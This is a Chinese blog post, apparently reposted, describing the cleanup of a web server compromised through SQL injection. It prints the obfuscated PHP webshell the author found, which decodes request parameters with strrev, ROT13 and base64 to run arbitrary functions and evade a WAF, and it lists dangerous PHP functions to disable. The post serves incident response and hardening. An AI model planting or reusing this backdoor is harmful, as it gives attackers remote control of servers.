浅谈一次与sql注入 & webshell 的美丽“邂逅”

2020-07-04 06:03:51易采站长站整理


<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){
$page = $_REQUEST['error'];
$limit = $_REQUEST['limit'];
$func = base64_decode(str_rot13(strrev($limit)));
$func(base64_decode(str_rot13(strrev($page))));
exit;

上面的代码其实和之前的那段代码有共性,反转字符串然后ROT13 编码,然后base64解码,最后按照 PHP 代码来计算,至于base64_decode,str_rot13,strrev是为了绕过WAF等安全设备的过滤。

已经很明显了,就是由上面这些代码文件Content.class.php等文件给注入的。不用想了:rm -rf 吧。这个动态感知还是挺好用的,能快速定位到风险目录,让你减少排查的时间和精力。

为了保险起见,继续排查一下其它的目录是否也存在可疑文件,一定要排查干净了,操作一定要小心,也别误删,果然在同级目录下又发现一个,如下图:

还有一个,如下图:

和代码仓库、开发的对比,可以确定这两个也是***传进来的可疑文件,我有一个习惯,删除文件之前喜欢备份到本地。备份好这些可疑文件到本地之,都彻底清除掉。

虽然都清除掉了,waf防火墙也调整了,但是也没有绝对的安全,还需要把php这些危险的函数禁用掉,比如禁用phpinfo、exec()、system()等:


phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

相关文章 大家在看